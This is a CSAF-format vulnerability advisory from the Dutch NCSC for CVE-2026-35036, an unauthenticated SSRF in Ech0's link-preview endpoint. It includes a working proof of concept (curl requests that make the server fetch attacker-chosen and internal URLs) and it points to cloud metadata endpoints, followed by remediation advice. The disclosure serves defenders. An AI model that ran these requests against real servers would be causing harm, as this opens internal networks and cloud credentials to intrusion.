{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-35036",
        "tracking": {
            "current_release_date": "2026-04-03T03:49:14.149776Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-35036",
            "initial_release_date": "2026-04-03T03:41:42.768746Z",
            "revision_history": [
                {
                    "date": "2026-04-03T03:41:42.768746Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-04-03T03:41:52.426655Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                }
            ],
            "status": "interim",
            "version": "2"
        }
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-35036",
            "cwe": {
                "id": "CWE-918",
                "name": "Server-Side Request Forgery (SSRF)"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\n\nEch0 implements **link preview** (editor fetches a page title) through **`GET /api/website/title`**. That is **legitimate product behavior**, but the implementation is **unsafe**: the route is **unauthenticated**, accepts a **fully attacker-controlled URL**, performs a **server-side GET**, reads the **entire response body** into memory (`io.ReadAll`). There is **no** host allowlist, **no** SSRF filter, and **`InsecureSkipVerify: true`** on the outbound client.\n\n**Attacker outcome :** Anyone who can reach the instance can **force the Ech0 server** to open **HTTP/HTTPS URLs of their choice** as seen from the **server’s network position** (Docker bridge, VPC, localhost from the process view). \nGo’s default `http.Client` **follows redirects** (unless disabled). Redirect chains can move the server-side request from an allowed-looking host to an internal target; the code does not disable this in `SendRequest`.\n\n### Affected Components\n\n**Ech0 codebase:**\n\n- `internal/handler/common/common.go`  \n  Handles the `/api/website/title` endpoint and accepts user-controlled URL input.\n\n- `internal/service/common/common.go`  \n  Processes the request and invokes the outbound HTTP fetch (`GetWebsiteTitle`).\n\n- `internal/util/http/http.go`  \n  Performs the HTTP request (`SendRequest`) with the following insecure configurations:\n  - No URL validation or allowlist\n  - Redirects enabled (default client behavior)\n  - `InsecureSkipVerify: true`\n\n### PoC \n\n**Environment:** Ech0 listening on `http://127.0.0.1:6277` (e.g. Docker image `sn0wl1n/ech0:latest`). No cookies or `Authorization` header.\n\n**Step 1 — baseline: unauthenticated server-side fetch (public URL):**\n\n```bash\ncurl.exe -sS -m 20 \"http://127.0.0.1:6277/api/website/title?website_url=https://example.com\"\n```\n\n**Observed result (verified):** HTTP 200, JSON with `code: 1` and `data` **`Example Domain`** — proves the **Ech0 process** performed an outbound GET without any client auth.\n\n**Step 2 — impact: host-bound page + recorded leak (repo PoC file)**\nCommitted PoC page: **`poc_ssrf_proof.html`** \n\n1. From **`poc file directory`**, listen on **0.0.0.0** (port **9999**):\n\n```bash\npython -m http.server 9999 --bind 0.0.0.0\n```\n\n2. **Docker Desktop (Windows / macOS):** Ech0 in Docker fetches the host via `host.docker.internal`:\n\n```bash\ncurl.exe -sS -m 20 \"http://127.0.0.1:6277/api/website/title?website_url=http://host.docker.internal:9999/poc_ssrf_proof.html\"\n```\n\n**Recorded response (verified this workspace, Ech0 4.2.2 in Docker):**\n\n```json\n{\"code\":1,\"msg\":\"获取网站标题成功\",\"data\":\"ECH0_SSRF_POC_LEAK_2026\"}\n```\n\n**Python server log:** `GET /poc_ssrf_proof.html` → **200** (proves the **server/container** pulled the page from your host).\n\n**Leak channel:** the backend **reads the full HTML body** before parsing (see `io.ReadAll` in `SendRequest`).\n\n\n### Impact\n\n- **Verified:** Unauthenticated callers can make the Ech0 process issue **server-side HTTP(S) requests** to **internal/reserved targets** reachable from that process (PoC Step 2: host-reachable listener reflected in JSON).\n- **Code-level:** The full response is **read into memory** (`io.ReadAll`); only the title string is returned. Combined with **default HTTP redirect following** (standard `http.Client` behavior; not disabled here), the effective request graph is larger than a single URL.\n- **TLS:** `InsecureSkipVerify: true` means **misissued or intercepted TLS** to internal HTTPS services is still accepted from the server’s perspective.\n- **Deployment-dependent:** Where routing allows (typical cloud VMs), **`169.254.169.254`-class** endpoints are in scope for the **same code path**; treat as **high*.\n- **DOS(Denial of Service)**: reading the whole body into memory with io.ReadAll is a DoS vector if you point it at a massive file.\n\n\n## Remediation\n\n- Enforce **SSRF-safe URL policy**: allow only needed schemes/hosts; block link-local, metadata, and loopback unless explicitly required.\n- Remove **`InsecureSkipVerify`**; use normal TLS verification.\n- **Limit redirects** (disable or cap hops; re-validate each target).\n- Add **response size / timeout** limits; optionally restrict egress at the **network** layer.",
                    "title": "github - https://api.github.com/advisories/GHSA-wc4h-2348-jc3p"
                },
                {
                    "category": "other",
                    "text": "3.8",
                    "title": "NCSC Score"
                }
            ],
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-wc4h-2348-jc3p"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-wc4h-2348-jc3p"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-wc4h-2348-jc3p"
                }
            ],
            "title": "CVE-2026-35036"
        }
    ]
}